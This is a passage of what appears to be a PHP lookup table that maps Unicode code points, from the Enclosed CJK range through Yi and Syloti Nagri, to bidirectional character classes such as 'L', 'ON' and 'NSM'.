12850=>'L', 12851=>'L', 12852=>'L', 12853=>'L', 12854=>'L', 12855=>'L', 12856=>'L', 12857=>'L', 12858=>'L', 12859=>'L', 12860=>'L', 12861=>'L', 12862=>'L', 12863=>'L', 12864=>'L', 12865=>'L', 12866=>'L', 12867=>'L', 12880=>'ON', 12881=>'ON', 12882=>'ON', 12883=>'ON', 12884=>'ON', 12885=>'ON', 12886=>'ON', 12887=>'ON', 12888=>'ON', 12889=>'ON', 12890=>'ON', 12891=>'ON', 12892=>'ON', 12893=>'ON', 12894=>'ON', 12895=>'ON', 12896=>'L', 12897=>'L', 12898=>'L', 12899=>'L', 12900=>'L', 12901=>'L', 12902=>'L', 12903=>'L', 12904=>'L', 12905=>'L', 12906=>'L', 12907=>'L', 12908=>'L', 12909=>'L', 12910=>'L', 12911=>'L', 12912=>'L', 12913=>'L', 12914=>'L', 12915=>'L', 12916=>'L', 12917=>'L', 12918=>'L', 12919=>'L', 12920=>'L', 12921=>'L', 12922=>'L', 12923=>'L', 12924=>'ON', 12925=>'ON', 12926=>'ON', 12927=>'L', 12928=>'L', 12929=>'L', 12930=>'L', 12931=>'L', 12932=>'L', 12933=>'L', 12934=>'L', 12935=>'L', 12936=>'L', 12937=>'L', 12938=>'L', 12939=>'L', 12940=>'L', 12941=>'L', 12942=>'L', 12943=>'L', 12944=>'L', 12945=>'L', 12946=>'L', 12947=>'L', 12948=>'L', 12949=>'L', 12950=>'L', 12951=>'L', 12952=>'L', 12953=>'L', 12954=>'L', 12955=>'L', 12956=>'L', 12957=>'L', 12958=>'L', 12959=>'L', 12960=>'L', 12961=>'L', 12962=>'L', 12963=>'L', 12964=>'L', 12965=>'L', 12966=>'L', 12967=>'L', 12968=>'L', 12969=>'L', 12970=>'L', 12971=>'L', 12972=>'L', 12973=>'L', 12974=>'L', 12975=>'L', 12976=>'L', 12977=>'ON', 12978=>'ON', 12979=>'ON', 12980=>'ON', 12981=>'ON', 12982=>'ON', 12983=>'ON', 12984=>'ON', 12985=>'ON', 12986=>'ON', 12987=>'ON', 12988=>'ON', 12989=>'ON', 12990=>'ON', 12991=>'ON', 12992=>'L', 12993=>'L', 12994=>'L', 12995=>'L', 12996=>'L', 12997=>'L', 12998=>'L', 12999=>'L', 13000=>'L', 13001=>'L', 13002=>'L', 13003=>'L', 13004=>'ON', 13005=>'ON', 13006=>'ON', 13007=>'ON', 13008=>'L', 13009=>'L', 13010=>'L', 13011=>'L', 13012=>'L', 13013=>'L', 13014=>'L', 13015=>'L', 13016=>'L', 13017=>'L', 13018=>'L', 13019=>'L', 13020=>'L', 13021=>'L', 13022=>'L', 13023=>'L', 13024=>'L', 13025=>'L', 13026=>'L', 13027=>'L', 13028=>'L', 13029=>'L', 13030=>'L', 13031=>'L', 13032=>'L', 13033=>'L', 13034=>'L', 13035=>'L', 13036=>'L', 13037=>'L', 13038=>'L', 13039=>'L', 13040=>'L', 13041=>'L', 13042=>'L', 13043=>'L', 13044=>'L', 13045=>'L', 13046=>'L', 13047=>'L', 13048=>'L', 13049=>'L', 13050=>'L', 13051=>'L', 13052=>'L', 13053=>'L', 13054=>'L', 13056=>'L', 13057=>'L', 13058=>'L', 13059=>'L', 13060=>'L', 13061=>'L', 13062=>'L', 13063=>'L', 13064=>'L', 13065=>'L', 13066=>'L', 13067=>'L', 13068=>'L', 13069=>'L', 13070=>'L', 13071=>'L', 13072=>'L', 13073=>'L', 13074=>'L', 13075=>'L', 13076=>'L', 13077=>'L', 13078=>'L', 13079=>'L', 13080=>'L', 13081=>'L', 13082=>'L', 13083=>'L', 13084=>'L', 13085=>'L', 13086=>'L', 13087=>'L', 13088=>'L', 13089=>'L', 13090=>'L', 13091=>'L', 13092=>'L', 13093=>'L', 13094=>'L', 13095=>'L', 13096=>'L', 13097=>'L', 13098=>'L', 13099=>'L', 13100=>'L', 13101=>'L', 13102=>'L', 13103=>'L', 13104=>'L', 13105=>'L', 13106=>'L', 13107=>'L', 13108=>'L', 13109=>'L', 13110=>'L', 13111=>'L', 13112=>'L', 13113=>'L', 13114=>'L', 13115=>'L', 13116=>'L', 13117=>'L', 13118=>'L', 13119=>'L', 13120=>'L', 13121=>'L', 13122=>'L', 13123=>'L', 13124=>'L', 13125=>'L', 13126=>'L', 13127=>'L', 13128=>'L', 13129=>'L', 13130=>'L', 13131=>'L', 13132=>'L', 13133=>'L', 13134=>'L', 13135=>'L', 13136=>'L', 13137=>'L', 13138=>'L', 13139=>'L', 13140=>'L', 13141=>'L', 13142=>'L', 13143=>'L', 13144=>'L', 13145=>'L', 13146=>'L', 13147=>'L', 13148=>'L', 13149=>'L', 13150=>'L', 13151=>'L', 13152=>'L', 13153=>'L', 13154=>'L', 13155=>'L', 13156=>'L', 13157=>'L', 13158=>'L', 13159=>'L', 13160=>'L', 13161=>'L', 13162=>'L', 13163=>'L', 13164=>'L', 13165=>'L', 13166=>'L', 13167=>'L', 13168=>'L', 13169=>'L', 13170=>'L', 13171=>'L', 13172=>'L', 13173=>'L', 13174=>'L', 13175=>'ON', 13176=>'ON', 13177=>'ON', 13178=>'ON', 13179=>'L', 13180=>'L', 13181=>'L', 13182=>'L', 13183=>'L', 13184=>'L', 13185=>'L', 13186=>'L', 13187=>'L', 13188=>'L', 13189=>'L', 13190=>'L', 13191=>'L', 13192=>'L', 13193=>'L', 13194=>'L', 13195=>'L', 13196=>'L', 13197=>'L', 13198=>'L', 13199=>'L', 13200=>'L', 13201=>'L', 13202=>'L', 13203=>'L', 13204=>'L', 13205=>'L', 13206=>'L', 13207=>'L', 13208=>'L', 13209=>'L', 13210=>'L', 13211=>'L', 13212=>'L', 13213=>'L', 13214=>'L', 13215=>'L', 13216=>'L', 13217=>'L', 13218=>'L', 13219=>'L', 13220=>'L', 13221=>'L', 13222=>'L', 13223=>'L', 13224=>'L', 13225=>'L', 13226=>'L', 13227=>'L', 13228=>'L', 13229=>'L', 13230=>'L', 13231=>'L', 13232=>'L', 13233=>'L', 13234=>'L', 13235=>'L', 13236=>'L', 13237=>'L', 13238=>'L', 13239=>'L', 13240=>'L', 13241=>'L', 13242=>'L', 13243=>'L', 13244=>'L', 13245=>'L', 13246=>'L', 13247=>'L', 13248=>'L', 13249=>'L', 13250=>'L', 13251=>'L', 13252=>'L', 13253=>'L', 13254=>'L', 13255=>'L', 13256=>'L', 13257=>'L', 13258=>'L', 13259=>'L', 13260=>'L', 13261=>'L', 13262=>'L', 13263=>'L', 13264=>'L', 13265=>'L', 13266=>'L', 13267=>'L', 13268=>'L', 13269=>'L', 13270=>'L', 13271=>'L', 13272=>'L', 13273=>'L', 13274=>'L', 13275=>'L', 13276=>'L', 13277=>'L', 13278=>'ON', 13279=>'ON', 13280=>'L', 13281=>'L', 13282=>'L', 13283=>'L', 13284=>'L', 13285=>'L', 13286=>'L', 13287=>'L', 13288=>'L', 13289=>'L', 13290=>'L', 13291=>'L', 13292=>'L', 13293=>'L', 13294=>'L', 13295=>'L', 13296=>'L', 13297=>'L', 13298=>'L', 13299=>'L', 13300=>'L', 13301=>'L', 13302=>'L', 13303=>'L', 13304=>'L', 13305=>'L', 13306=>'L', 13307=>'L', 13308=>'L', 13309=>'L', 13310=>'L', 13311=>'ON', 13312=>'L', 19893=>'L', 19904=>'ON', 19905=>'ON', 19906=>'ON', 19907=>'ON', 19908=>'ON', 19909=>'ON', 19910=>'ON', 19911=>'ON', 19912=>'ON', 19913=>'ON', 19914=>'ON', 19915=>'ON', 19916=>'ON', 19917=>'ON', 19918=>'ON', 19919=>'ON', 19920=>'ON', 19921=>'ON', 19922=>'ON', 19923=>'ON', 19924=>'ON', 19925=>'ON', 19926=>'ON', 19927=>'ON', 19928=>'ON', 19929=>'ON', 19930=>'ON', 19931=>'ON', 19932=>'ON', 19933=>'ON', 19934=>'ON', 19935=>'ON', 19936=>'ON', 19937=>'ON', 19938=>'ON', 19939=>'ON', 19940=>'ON', 19941=>'ON', 19942=>'ON', 19943=>'ON', 19944=>'ON', 19945=>'ON', 19946=>'ON', 19947=>'ON', 19948=>'ON', 19949=>'ON', 19950=>'ON', 19951=>'ON', 19952=>'ON', 19953=>'ON', 19954=>'ON', 19955=>'ON', 19956=>'ON', 19957=>'ON', 19958=>'ON', 19959=>'ON', 19960=>'ON', 19961=>'ON', 19962=>'ON', 19963=>'ON', 19964=>'ON', 19965=>'ON', 19966=>'ON', 19967=>'ON', 19968=>'L', 40891=>'L', 40960=>'L', 40961=>'L', 40962=>'L', 40963=>'L', 40964=>'L', 40965=>'L', 40966=>'L', 40967=>'L', 40968=>'L', 40969=>'L', 40970=>'L', 40971=>'L', 40972=>'L', 40973=>'L', 40974=>'L', 40975=>'L', 40976=>'L', 40977=>'L', 40978=>'L', 40979=>'L', 40980=>'L', 40981=>'L', 40982=>'L', 40983=>'L', 40984=>'L', 40985=>'L', 40986=>'L', 40987=>'L', 40988=>'L', 40989=>'L', 40990=>'L', 40991=>'L', 40992=>'L', 40993=>'L', 40994=>'L', 40995=>'L', 40996=>'L', 40997=>'L', 40998=>'L', 40999=>'L', 41000=>'L', 41001=>'L', 41002=>'L', 41003=>'L', 41004=>'L', 41005=>'L', 41006=>'L', 41007=>'L', 41008=>'L', 41009=>'L', 41010=>'L', 41011=>'L', 41012=>'L', 41013=>'L', 41014=>'L', 41015=>'L', 41016=>'L', 41017=>'L', 41018=>'L', 41019=>'L', 41020=>'L', 41021=>'L', 41022=>'L', 41023=>'L', 41024=>'L', 41025=>'L', 41026=>'L', 41027=>'L', 41028=>'L', 41029=>'L', 41030=>'L', 41031=>'L', 41032=>'L', 41033=>'L', 41034=>'L', 41035=>'L', 41036=>'L', 41037=>'L', 41038=>'L', 41039=>'L', 41040=>'L', 41041=>'L', 41042=>'L', 41043=>'L', 41044=>'L', 41045=>'L', 41046=>'L', 41047=>'L', 41048=>'L', 41049=>'L', 41050=>'L', 41051=>'L', 41052=>'L', 41053=>'L', 41054=>'L', 41055=>'L', 41056=>'L', 41057=>'L', 41058=>'L', 41059=>'L', 41060=>'L', 41061=>'L', 41062=>'L', 41063=>'L', 41064=>'L', 41065=>'L', 41066=>'L', 41067=>'L', 41068=>'L', 41069=>'L', 41070=>'L', 41071=>'L', 41072=>'L', 41073=>'L', 41074=>'L', 41075=>'L', 41076=>'L', 41077=>'L', 41078=>'L', 41079=>'L', 41080=>'L', 41081=>'L', 41082=>'L', 41083=>'L', 41084=>'L', 41085=>'L', 41086=>'L', 41087=>'L', 41088=>'L', 41089=>'L', 41090=>'L', 41091=>'L', 41092=>'L', 41093=>'L', 41094=>'L', 41095=>'L', 41096=>'L', 41097=>'L', 41098=>'L', 41099=>'L', 41100=>'L', 41101=>'L', 41102=>'L', 41103=>'L', 41104=>'L', 41105=>'L', 41106=>'L', 41107=>'L', 41108=>'L', 41109=>'L', 41110=>'L', 41111=>'L', 41112=>'L', 41113=>'L', 41114=>'L', 41115=>'L', 41116=>'L', 41117=>'L', 41118=>'L', 41119=>'L', 41120=>'L', 41121=>'L', 41122=>'L', 41123=>'L', 41124=>'L', 41125=>'L', 41126=>'L', 41127=>'L', 41128=>'L', 41129=>'L', 41130=>'L', 41131=>'L', 41132=>'L', 41133=>'L', 41134=>'L', 41135=>'L', 41136=>'L', 41137=>'L', 41138=>'L', 41139=>'L', 41140=>'L', 41141=>'L', 41142=>'L', 41143=>'L', 41144=>'L', 41145=>'L', 41146=>'L', 41147=>'L', 41148=>'L', 41149=>'L', 41150=>'L', 41151=>'L', 41152=>'L', 41153=>'L', 41154=>'L', 41155=>'L', 41156=>'L', 41157=>'L', 41158=>'L', 41159=>'L', 41160=>'L', 41161=>'L', 41162=>'L', 41163=>'L', 41164=>'L', 41165=>'L', 41166=>'L', 41167=>'L', 41168=>'L', 41169=>'L', 41170=>'L', 41171=>'L', 41172=>'L', 41173=>'L', 41174=>'L', 41175=>'L', 41176=>'L', 41177=>'L', 41178=>'L', 41179=>'L', 41180=>'L', 41181=>'L', 41182=>'L', 41183=>'L', 41184=>'L', 41185=>'L', 41186=>'L', 41187=>'L', 41188=>'L', 41189=>'L', 41190=>'L', 41191=>'L', 41192=>'L', 41193=>'L', 41194=>'L', 41195=>'L', 41196=>'L', 41197=>'L', 41198=>'L', 41199=>'L', 41200=>'L', 41201=>'L', 41202=>'L', 41203=>'L', 41204=>'L', 41205=>'L', 41206=>'L', 41207=>'L', 41208=>'L', 41209=>'L', 41210=>'L', 41211=>'L', 41212=>'L', 41213=>'L', 41214=>'L', 41215=>'L', 41216=>'L', 41217=>'L', 41218=>'L', 41219=>'L', 41220=>'L', 41221=>'L', 41222=>'L', 41223=>'L', 41224=>'L', 41225=>'L', 41226=>'L', 41227=>'L', 41228=>'L', 41229=>'L', 41230=>'L', 41231=>'L', 41232=>'L', 41233=>'L', 41234=>'L', 41235=>'L', 41236=>'L', 41237=>'L', 41238=>'L', 41239=>'L', 41240=>'L', 41241=>'L', 41242=>'L', 41243=>'L', 41244=>'L', 41245=>'L', 41246=>'L', 41247=>'L', 41248=>'L', 41249=>'L', 41250=>'L', 41251=>'L', 41252=>'L', 41253=>'L', 41254=>'L', 41255=>'L', 41256=>'L', 41257=>'L', 41258=>'L', 41259=>'L', 41260=>'L', 41261=>'L', 41262=>'L', 41263=>'L', 41264=>'L', 41265=>'L', 41266=>'L', 41267=>'L', 41268=>'L', 41269=>'L', 41270=>'L', 41271=>'L', 41272=>'L', 41273=>'L', 41274=>'L', 41275=>'L', 41276=>'L', 41277=>'L', 41278=>'L', 41279=>'L', 41280=>'L', 41281=>'L', 41282=>'L', 41283=>'L', 41284=>'L', 41285=>'L', 41286=>'L', 41287=>'L', 41288=>'L', 41289=>'L', 41290=>'L', 41291=>'L', 41292=>'L', 41293=>'L', 41294=>'L', 41295=>'L', 41296=>'L', 41297=>'L', 41298=>'L', 41299=>'L', 41300=>'L', 41301=>'L', 41302=>'L', 41303=>'L', 41304=>'L', 41305=>'L', 41306=>'L', 41307=>'L', 41308=>'L', 41309=>'L', 41310=>'L', 41311=>'L', 41312=>'L', 41313=>'L', 41314=>'L', 41315=>'L', 41316=>'L', 41317=>'L', 41318=>'L', 41319=>'L', 41320=>'L', 41321=>'L', 41322=>'L', 41323=>'L', 41324=>'L', 41325=>'L', 41326=>'L', 41327=>'L', 41328=>'L', 41329=>'L', 41330=>'L', 41331=>'L', 41332=>'L', 41333=>'L', 41334=>'L', 41335=>'L', 41336=>'L', 41337=>'L', 41338=>'L', 41339=>'L', 41340=>'L', 41341=>'L', 41342=>'L', 41343=>'L', 41344=>'L', 41345=>'L', 41346=>'L', 41347=>'L', 41348=>'L', 41349=>'L', 41350=>'L', 41351=>'L', 41352=>'L', 41353=>'L', 41354=>'L', 41355=>'L', 41356=>'L', 41357=>'L', 41358=>'L', 41359=>'L', 41360=>'L', 41361=>'L', 41362=>'L', 41363=>'L', 41364=>'L', 41365=>'L', 41366=>'L', 41367=>'L', 41368=>'L', 41369=>'L', 41370=>'L', 41371=>'L', 41372=>'L', 41373=>'L', 41374=>'L', 41375=>'L', 41376=>'L', 41377=>'L', 41378=>'L', 41379=>'L', 41380=>'L', 41381=>'L', 41382=>'L', 41383=>'L', 41384=>'L', 41385=>'L', 41386=>'L', 41387=>'L', 41388=>'L', 41389=>'L', 41390=>'L', 41391=>'L', 41392=>'L', 41393=>'L', 41394=>'L', 41395=>'L', 41396=>'L', 41397=>'L', 41398=>'L', 41399=>'L', 41400=>'L', 41401=>'L', 41402=>'L', 41403=>'L', 41404=>'L', 41405=>'L', 41406=>'L', 41407=>'L', 41408=>'L', 41409=>'L', 41410=>'L', 41411=>'L', 41412=>'L', 41413=>'L', 41414=>'L', 41415=>'L', 41416=>'L', 41417=>'L', 41418=>'L', 41419=>'L', 41420=>'L', 41421=>'L', 41422=>'L', 41423=>'L', 41424=>'L', 41425=>'L', 41426=>'L', 41427=>'L', 41428=>'L', 41429=>'L', 41430=>'L', 41431=>'L', 41432=>'L', 41433=>'L', 41434=>'L', 41435=>'L', 41436=>'L', 41437=>'L', 41438=>'L', 41439=>'L', 41440=>'L', 41441=>'L', 41442=>'L', 41443=>'L', 41444=>'L', 41445=>'L', 41446=>'L', 41447=>'L', 41448=>'L', 41449=>'L', 41450=>'L', 41451=>'L', 41452=>'L', 41453=>'L', 41454=>'L', 41455=>'L', 41456=>'L', 41457=>'L', 41458=>'L', 41459=>'L', 41460=>'L', 41461=>'L', 41462=>'L', 41463=>'L', 41464=>'L', 41465=>'L', 41466=>'L', 41467=>'L', 41468=>'L', 41469=>'L', 41470=>'L', 41471=>'L', 41472=>'L', 41473=>'L', 41474=>'L', 41475=>'L', 41476=>'L', 41477=>'L', 41478=>'L', 41479=>'L', 41480=>'L', 41481=>'L', 41482=>'L', 41483=>'L', 41484=>'L', 41485=>'L', 41486=>'L', 41487=>'L', 41488=>'L', 41489=>'L', 41490=>'L', 41491=>'L', 41492=>'L', 41493=>'L', 41494=>'L', 41495=>'L', 41496=>'L', 41497=>'L', 41498=>'L', 41499=>'L', 41500=>'L', 41501=>'L', 41502=>'L', 41503=>'L', 41504=>'L', 41505=>'L', 41506=>'L', 41507=>'L', 41508=>'L', 41509=>'L', 41510=>'L', 41511=>'L', 41512=>'L', 41513=>'L', 41514=>'L', 41515=>'L', 41516=>'L', 41517=>'L', 41518=>'L', 41519=>'L', 41520=>'L', 41521=>'L', 41522=>'L', 41523=>'L', 41524=>'L', 41525=>'L', 41526=>'L', 41527=>'L', 41528=>'L', 41529=>'L', 41530=>'L', 41531=>'L', 41532=>'L', 41533=>'L', 41534=>'L', 41535=>'L', 41536=>'L', 41537=>'L', 41538=>'L', 41539=>'L', 41540=>'L', 41541=>'L', 41542=>'L', 41543=>'L', 41544=>'L', 41545=>'L', 41546=>'L', 41547=>'L', 41548=>'L', 41549=>'L', 41550=>'L', 41551=>'L', 41552=>'L', 41553=>'L', 41554=>'L', 41555=>'L', 41556=>'L', 41557=>'L', 41558=>'L', 41559=>'L', 41560=>'L', 41561=>'L', 41562=>'L', 41563=>'L', 41564=>'L', 41565=>'L', 41566=>'L', 41567=>'L', 41568=>'L', 41569=>'L', 41570=>'L', 41571=>'L', 41572=>'L', 41573=>'L', 41574=>'L', 41575=>'L', 41576=>'L', 41577=>'L', 41578=>'L', 41579=>'L', 41580=>'L', 41581=>'L', 41582=>'L', 41583=>'L', 41584=>'L', 41585=>'L', 41586=>'L', 41587=>'L', 41588=>'L', 41589=>'L', 41590=>'L', 41591=>'L', 41592=>'L', 41593=>'L', 41594=>'L', 41595=>'L', 41596=>'L', 41597=>'L', 41598=>'L', 41599=>'L', 41600=>'L', 41601=>'L', 41602=>'L', 41603=>'L', 41604=>'L', 41605=>'L', 41606=>'L', 41607=>'L', 41608=>'L', 41609=>'L', 41610=>'L', 41611=>'L', 41612=>'L', 41613=>'L', 41614=>'L', 41615=>'L', 41616=>'L', 41617=>'L', 41618=>'L', 41619=>'L', 41620=>'L', 41621=>'L', 41622=>'L', 41623=>'L', 41624=>'L', 41625=>'L', 41626=>'L', 41627=>'L', 41628=>'L', 41629=>'L', 41630=>'L', 41631=>'L', 41632=>'L', 41633=>'L', 41634=>'L', 41635=>'L', 41636=>'L', 41637=>'L', 41638=>'L', 41639=>'L', 41640=>'L', 41641=>'L', 41642=>'L', 41643=>'L', 41644=>'L', 41645=>'L', 41646=>'L', 41647=>'L', 41648=>'L', 41649=>'L', 41650=>'L', 41651=>'L', 41652=>'L', 41653=>'L', 41654=>'L', 41655=>'L', 41656=>'L', 41657=>'L', 41658=>'L', 41659=>'L', 41660=>'L', 41661=>'L', 41662=>'L', 41663=>'L', 41664=>'L', 41665=>'L', 41666=>'L', 41667=>'L', 41668=>'L', 41669=>'L', 41670=>'L', 41671=>'L', 41672=>'L', 41673=>'L', 41674=>'L', 41675=>'L', 41676=>'L', 41677=>'L', 41678=>'L', 41679=>'L', 41680=>'L', 41681=>'L', 41682=>'L', 41683=>'L', 41684=>'L', 41685=>'L', 41686=>'L', 41687=>'L', 41688=>'L', 41689=>'L', 41690=>'L', 41691=>'L', 41692=>'L', 41693=>'L', 41694=>'L', 41695=>'L', 41696=>'L', 41697=>'L', 41698=>'L', 41699=>'L', 41700=>'L', 41701=>'L', 41702=>'L', 41703=>'L', 41704=>'L', 41705=>'L', 41706=>'L', 41707=>'L', 41708=>'L', 41709=>'L', 41710=>'L', 41711=>'L', 41712=>'L', 41713=>'L', 41714=>'L', 41715=>'L', 41716=>'L', 41717=>'L', 41718=>'L', 41719=>'L', 41720=>'L', 41721=>'L', 41722=>'L', 41723=>'L', 41724=>'L', 41725=>'L', 41726=>'L', 41727=>'L', 41728=>'L', 41729=>'L', 41730=>'L', 41731=>'L', 41732=>'L', 41733=>'L', 41734=>'L', 41735=>'L', 41736=>'L', 41737=>'L', 41738=>'L', 41739=>'L', 41740=>'L', 41741=>'L', 41742=>'L', 41743=>'L', 41744=>'L', 41745=>'L', 41746=>'L', 41747=>'L', 41748=>'L', 41749=>'L', 41750=>'L', 41751=>'L', 41752=>'L', 41753=>'L', 41754=>'L', 41755=>'L', 41756=>'L', 41757=>'L', 41758=>'L', 41759=>'L', 41760=>'L', 41761=>'L', 41762=>'L', 41763=>'L', 41764=>'L', 41765=>'L', 41766=>'L', 41767=>'L', 41768=>'L', 41769=>'L', 41770=>'L', 41771=>'L', 41772=>'L', 41773=>'L', 41774=>'L', 41775=>'L', 41776=>'L', 41777=>'L', 41778=>'L', 41779=>'L', 41780=>'L', 41781=>'L', 41782=>'L', 41783=>'L', 41784=>'L', 41785=>'L', 41786=>'L', 41787=>'L', 41788=>'L', 41789=>'L', 41790=>'L', 41791=>'L', 41792=>'L', 41793=>'L', 41794=>'L', 41795=>'L', 41796=>'L', 41797=>'L', 41798=>'L', 41799=>'L', 41800=>'L', 41801=>'L', 41802=>'L', 41803=>'L', 41804=>'L', 41805=>'L', 41806=>'L', 41807=>'L', 41808=>'L', 41809=>'L', 41810=>'L', 41811=>'L', 41812=>'L', 41813=>'L', 41814=>'L', 41815=>'L', 41816=>'L', 41817=>'L', 41818=>'L', 41819=>'L', 41820=>'L', 41821=>'L', 41822=>'L', 41823=>'L', 41824=>'L', 41825=>'L', 41826=>'L', 41827=>'L', 41828=>'L', 41829=>'L', 41830=>'L', 41831=>'L', 41832=>'L', 41833=>'L', 41834=>'L', 41835=>'L', 41836=>'L', 41837=>'L', 41838=>'L', 41839=>'L', 41840=>'L', 41841=>'L', 41842=>'L', 41843=>'L', 41844=>'L', 41845=>'L', 41846=>'L', 41847=>'L', 41848=>'L', 41849=>'L', 41850=>'L', 41851=>'L', 41852=>'L', 41853=>'L', 41854=>'L', 41855=>'L', 41856=>'L', 41857=>'L', 41858=>'L', 41859=>'L', 41860=>'L', 41861=>'L', 41862=>'L', 41863=>'L', 41864=>'L', 41865=>'L', 41866=>'L', 41867=>'L', 41868=>'L', 41869=>'L', 41870=>'L', 41871=>'L', 41872=>'L', 41873=>'L', 41874=>'L', 41875=>'L', 41876=>'L', 41877=>'L', 41878=>'L', 41879=>'L', 41880=>'L', 41881=>'L', 41882=>'L', 41883=>'L', 41884=>'L', 41885=>'L', 41886=>'L', 41887=>'L', 41888=>'L', 41889=>'L', 41890=>'L', 41891=>'L', 41892=>'L', 41893=>'L', 41894=>'L', 41895=>'L', 41896=>'L', 41897=>'L', 41898=>'L', 41899=>'L', 41900=>'L', 41901=>'L', 41902=>'L', 41903=>'L', 41904=>'L', 41905=>'L', 41906=>'L', 41907=>'L', 41908=>'L', 41909=>'L', 41910=>'L', 41911=>'L', 41912=>'L', 41913=>'L', 41914=>'L', 41915=>'L', 41916=>'L', 41917=>'L', 41918=>'L', 41919=>'L', 41920=>'L', 41921=>'L', 41922=>'L', 41923=>'L', 41924=>'L', 41925=>'L', 41926=>'L', 41927=>'L', 41928=>'L', 41929=>'L', 41930=>'L', 41931=>'L', 41932=>'L', 41933=>'L', 41934=>'L', 41935=>'L', 41936=>'L', 41937=>'L', 41938=>'L', 41939=>'L', 41940=>'L', 41941=>'L', 41942=>'L', 41943=>'L', 41944=>'L', 41945=>'L', 41946=>'L', 41947=>'L', 41948=>'L', 41949=>'L', 41950=>'L', 41951=>'L', 41952=>'L', 41953=>'L', 41954=>'L', 41955=>'L', 41956=>'L', 41957=>'L', 41958=>'L', 41959=>'L', 41960=>'L', 41961=>'L', 41962=>'L', 41963=>'L', 41964=>'L', 41965=>'L', 41966=>'L', 41967=>'L', 41968=>'L', 41969=>'L', 41970=>'L', 41971=>'L', 41972=>'L', 41973=>'L', 41974=>'L', 41975=>'L', 41976=>'L', 41977=>'L', 41978=>'L', 41979=>'L', 41980=>'L', 41981=>'L', 41982=>'L', 41983=>'L', 41984=>'L', 41985=>'L', 41986=>'L', 41987=>'L', 41988=>'L', 41989=>'L', 41990=>'L', 41991=>'L', 41992=>'L', 41993=>'L', 41994=>'L', 41995=>'L', 41996=>'L', 41997=>'L', 41998=>'L', 41999=>'L', 42000=>'L', 42001=>'L', 42002=>'L', 42003=>'L', 42004=>'L', 42005=>'L', 42006=>'L', 42007=>'L', 42008=>'L', 42009=>'L', 42010=>'L', 42011=>'L', 42012=>'L', 42013=>'L', 42014=>'L', 42015=>'L', 42016=>'L', 42017=>'L', 42018=>'L', 42019=>'L', 42020=>'L', 42021=>'L', 42022=>'L', 42023=>'L', 42024=>'L', 42025=>'L', 42026=>'L', 42027=>'L', 42028=>'L', 42029=>'L', 42030=>'L', 42031=>'L', 42032=>'L', 42033=>'L', 42034=>'L', 42035=>'L', 42036=>'L', 42037=>'L', 42038=>'L', 42039=>'L', 42040=>'L', 42041=>'L', 42042=>'L', 42043=>'L', 42044=>'L', 42045=>'L', 42046=>'L', 42047=>'L', 42048=>'L', 42049=>'L', 42050=>'L', 42051=>'L', 42052=>'L', 42053=>'L', 42054=>'L', 42055=>'L', 42056=>'L', 42057=>'L', 42058=>'L', 42059=>'L', 42060=>'L', 42061=>'L', 42062=>'L', 42063=>'L', 42064=>'L', 42065=>'L', 42066=>'L', 42067=>'L', 42068=>'L', 42069=>'L', 42070=>'L', 42071=>'L', 42072=>'L', 42073=>'L', 42074=>'L', 42075=>'L', 42076=>'L', 42077=>'L', 42078=>'L', 42079=>'L', 42080=>'L', 42081=>'L', 42082=>'L', 42083=>'L', 42084=>'L', 42085=>'L', 42086=>'L', 42087=>'L', 42088=>'L', 42089=>'L', 42090=>'L', 42091=>'L', 42092=>'L', 42093=>'L', 42094=>'L', 42095=>'L', 42096=>'L', 42097=>'L', 42098=>'L', 42099=>'L', 42100=>'L', 42101=>'L', 42102=>'L', 42103=>'L', 42104=>'L', 42105=>'L', 42106=>'L', 42107=>'L', 42108=>'L', 42109=>'L', 42110=>'L', 42111=>'L', 42112=>'L', 42113=>'L', 42114=>'L', 42115=>'L', 42116=>'L', 42117=>'L', 42118=>'L', 42119=>'L', 42120=>'L', 42121=>'L', 42122=>'L', 42123=>'L', 42124=>'L', 42128=>'ON', 42129=>'ON', 42130=>'ON', 42131=>'ON', 42132=>'ON', 42133=>'ON', 42134=>'ON', 42135=>'ON', 42136=>'ON', 42137=>'ON', 42138=>'ON', 42139=>'ON', 42140=>'ON', 42141=>'ON', 42142=>'ON', 42143=>'ON', 42144=>'ON', 42145=>'ON', 42146=>'ON', 42147=>'ON', 42148=>'ON', 42149=>'ON', 42150=>'ON', 42151=>'ON', 42152=>'ON', 42153=>'ON', 42154=>'ON', 42155=>'ON', 42156=>'ON', 42157=>'ON', 42158=>'ON', 42159=>'ON', 42160=>'ON', 42161=>'ON', 42162=>'ON', 42163=>'ON', 42164=>'ON', 42165=>'ON', 42166=>'ON', 42167=>'ON', 42168=>'ON', 42169=>'ON', 42170=>'ON', 42171=>'ON', 42172=>'ON', 42173=>'ON', 42174=>'ON', 42175=>'ON', 42176=>'ON', 42177=>'ON', 42178=>'ON', 42179=>'ON', 42180=>'ON', 42181=>'ON', 42182=>'ON', 42752=>'ON', 42753=>'ON', 42754=>'ON', 42755=>'ON', 42756=>'ON', 42757=>'ON', 42758=>'ON', 42759=>'ON', 42760=>'ON', 42761=>'ON', 42762=>'ON', 42763=>'ON', 42764=>'ON', 42765=>'ON', 42766=>'ON', 42767=>'ON', 42768=>'ON', 42769=>'ON', 42770=>'ON', 42771=>'ON', 42772=>'ON', 42773=>'ON', 42774=>'ON', 42775=>'ON', 42776=>'ON', 42777=>'ON', 42778=>'ON', 42784=>'ON', 42785=>'ON', 43008=>'L', 43009=>'L', 43010=>'NSM', 43011=>'L', 43012=>'L', 43013=>'L', 43014=>'NSM', 43015=>'L', 43016=>'L', 43017=>'L', 43018=>'L', 43019=>'NSM', 43020=>'L', 43021=>'L', 43022=>'L', 43023=>'L', 43024=>'L', 43025=>'L', 43026=>'L', 43027=>'L', 43028=>'L', 43029=>'L', 43030=>'L', 43031=>'L', 43032=>'L', 43033=>'L', 43034=>'L', 43035=>'L', 43036=>'L', 43037=>'L', 43038=>'L', 43039=>'L', 43040=>'L', 43041=>'L', 43042=>'L', 43043=>'L', 43044=>'L', 43045=>'NSM', 43046=>'NSM', 43047=>'L', 43048=>'ON', 43049=>'ON', 43050=>'ON', 43051=>'ON', 43072=>'L', 43073=>'L', 43074=>'L', 43075=>'L', 43076=>'L', 43077=>'L', 43078=>'L', 43079=>'L', 43080=>'L', 43081=>'L', 43082=>'L', 43083=>'L', 43084=>'L', 43085=>'L', 43086=>'L', 43087=>'L', 43088=>'L', 43089=>'L', 43090=>'L', 43091=>'L', 43092=>'L', 43093=>'L', 43094=>'L', 43095=>'L', 43096=>'L', 43097=>'L', 43098=>'L', 43099=>'L', 43100=>'L', 43101=>'L', 43102=>'L', 43103=>'L', 43104=>'L', 43105=>'L', 43106=>'L', 43107=>'L', 43108=>'L', 43109=>'L', 43110=>'L', 